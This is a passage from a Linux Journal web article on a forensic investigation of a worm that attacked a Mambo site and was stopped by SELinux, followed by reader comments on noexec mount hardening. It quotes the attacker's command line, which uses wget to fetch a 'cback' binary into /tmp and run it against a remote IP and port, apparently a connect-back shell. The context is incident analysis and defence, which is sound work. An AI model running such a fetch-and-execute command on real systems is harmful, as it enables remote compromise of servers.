Loading
Mambo Exploit Blocked by SELinux
A real-world case where SELinux proved its worth.
The log file did contain two very useful clues; it confirmed that the cback binary was related to a request made to Mambo. Furthermore, the query string confirmed that the attacker used wget, a command-line URL-fetching tool, to retrieve the exploit from a remote server. The Web server request attempted to execute the cback executable with an IP address parameter of 10.200.238.39, presumably another machine under the control of the attacker.
The attack attempted to execute this sequence of shell commands:
cd /tmp wget 172.16.31.57/cback chmod 744 cback ./cback 10.200.238.39 8080 echo YYY echo| HTTP/1.1
Going back to /var/log/messages, I searched for further suspicious SELinux enforcement messages. Listing 3 contains the lines that matched the times of the Web server attacks.
This appeared to be a worm, because www.pkrinternet.com (on a different machine, but the same subnet) also had requests from 10.9.233.25 at around the same time, as Listing 4 shows.
Lines showing further attacks similar to the trace on stockpot versus Mambo, xmlrpc.php, drupal and phpgroupware also appeared in this grep.
The worm made requests only to the default virtual host, so it's likely that the worm was not using the Host: virtual host header in its requests. This indicates that it was scanning IP subnets for vulnerable hosts, rather than working through a list of hostnames.
The modification time on the cback file was Feb 5, 2005. That was probably the modification time of the file on the remote system that wget retrieved. wget normally resets the modification time of files it downloads to match their original modification times. Listing 5 shows how to interrogate all the timestamps on a file.
______________________
Webcast
How to Build an Optimal Hadoop Cluster to Store and Maintain Unlimited Amounts of Data Using Microservers
Realizing the promise of Apache® Hadoop® requires the effective deployment of compute, memory, storage and networking to achieve optimal results. With its flexibility and multitude of options, it is easy to over or under provision the server infrastructure, resulting in poor performance and high TCO. Join us for an in depth, technical discussion with industry experts from leading Hadoop and server companies who will provide insights into the key considerations for designing and deploying an optimal Hadoop cluster.
Sponsored by AMD
White Paper
Red Hat White Paper: Using an Open Source Framework to Catch the Bad Guy
Built-in forensics, incident response, and security with Red Hat Enterprise Linux 6
Every security policy provides guidance and requirements for ensuring adequate protection of information and data, as well as high-level technical and administrative security requirements for a system in a given environment. Traditionally, providing security for a system focuses on the confidentiality of the information on it. However, protecting the data integrity and system and data availability is just as important. For example, when processing United States intelligence information, there are three attributes that require protection: confidentiality, integrity, and availability.
Learn more about catching the bad guy in this free white paper.
Sponsored by DLT Solutions
- Dynamic DNS—an Object Lesson in Problem Solving
- Making Linux and Android Get Along (It's Not as Hard as It Sounds)
- Using Salt Stack and Vagrant for Drupal Development
- New Products
- A Topic for Discussion - Open Source Feature-Richness?
- Drupal Is a Framework: Why Everyone Needs to Understand This
- RSS Feeds
- Validate an E-Mail Address with PHP, the Right Way
- Readers' Choice Awards
- Tech Tip: Really Simple HTTP Server with Python
- DynDNS
36 min 10 sec ago - Reply to comment | Linux Journal
1 hour 8 min ago - All the articles you talked
3 hours 32 min ago - All the articles you talked
3 hours 35 min ago - All the articles you talked
3 hours 36 min ago - myip
8 hours 1 min ago - Keeping track of IP address
9 hours 52 min ago - Roll your own dynamic dns
15 hours 5 min ago - Please correct the URL for Salt Stack's web site
18 hours 17 min ago - Android is Linux -- why no better inter-operation
20 hours 32 min ago
Free Webinar: Hadoop
How to Build an Optimal Hadoop Cluster to Store and Maintain Unlimited Amounts of Data Using Microservers
Realizing the promise of Apache® Hadoop® requires the effective deployment of compute, memory, storage and networking to achieve optimal results. With its flexibility and multitude of options, it is easy to over or under provision the server infrastructure, resulting in poor performance and high TCO. Join us for an in depth, technical discussion with industry experts from leading Hadoop and server companies who will provide insights into the key considerations for designing and deploying an optimal Hadoop cluster.
Some of key questions to be discussed are:
- What is the “typical” Hadoop cluster and what should be installed on the different machine types?
- Why should you consider the typical workload patterns when making your hardware decisions?
- Are all microservers created equal for Hadoop deployments?
- How do I plan for expansion if I require more compute, memory, storage or networking?
Comments
Titanic movie rendered with Linux
bosch servisi, bosch servis
..
Thanks..
radyo
thank you very good
An alternate defense against this attack
Kyle Wilson recently wrote me regarding this article, and gave me permission to share his remarks with Linux Journal readers:
________________________________________________________
Richard,
Hi. I just finished reading your article about SELinux in this month's Linux Journal. I enjoyed it very much. I thought I'd share a tip with you which I use to protect my internet facing servers. I always edit my fstab file to include the nosuid and noexec mount options for my tmp file system. In the case of the Mambo exploit which you wrote about, having the noexec mount option on /tmp would have also prevented the exploit by preventing the execution of the cback binary which was placed in your /tmp file system. Here's the description of the options from the mount man page:
noexec - Do not allow execution of any binaries on the mounted file system. This option might be useful for a server that has file systems containing binaries for architectures other than its own.
nosuid - Do not allow set-user-identifier or set-group-identifier bits to take effect. (This seems safe, but is in fact rather unsafe if you have suidperl(1) installed.)
Kyle
________________________________________________________
Kyle has some good points about protecting filesystems using mount options. That is a solid and time-honored way of helping to secure a system, to be sure. I've seen some systems that have many filesystem mount points that are locked down with noexec and nosuid options.
Many systems today (including the one I wrote about) only have two file systems by default, that is a
bootand/filesystems. This system was one of those. Locking down/tmplike that would also have protected from this specific attack, had SELinux not been activated:# for /etc/fstab:
none /tmp tmpfs nosuid,noexec,rw,size=512m 0 0
However, other points of vulnerability also exist, such as
/dev/shm,/var/tmp, and really, any writable file on your system. To be thorough about using nosuid and noexec options, you would need to ensure that these directories are also protected with these options. That is easy enough for/dev/shm, but not so easy for/var/tmpunless you dedicate a disk partition to it, or do funny tricks such as mounting a file on/varwith the loop device and mounting that on/var/tmp. Even doing that is not proof against a determined attacker, as this shell code snippet illustrates:# Try this out on your system to see how wide-open you could still be
echo "World-writable directories:"
find / -type d -perm +0002
echo "World-witable files:"
find / -type f -perm +0002
One of the nice things about the Red Hat / Fedora SELinux targeted policies is that it stops attacks on pretty much all of these locations with a default-deny rule.
Correction: sentence below Listing 4
The sentence below Listing 4 should read:
Lines showing further attacks similar to the trace on targetbox versus Mambo, xmlrpc.php, drupal and phpgroupware also appeared in this grep.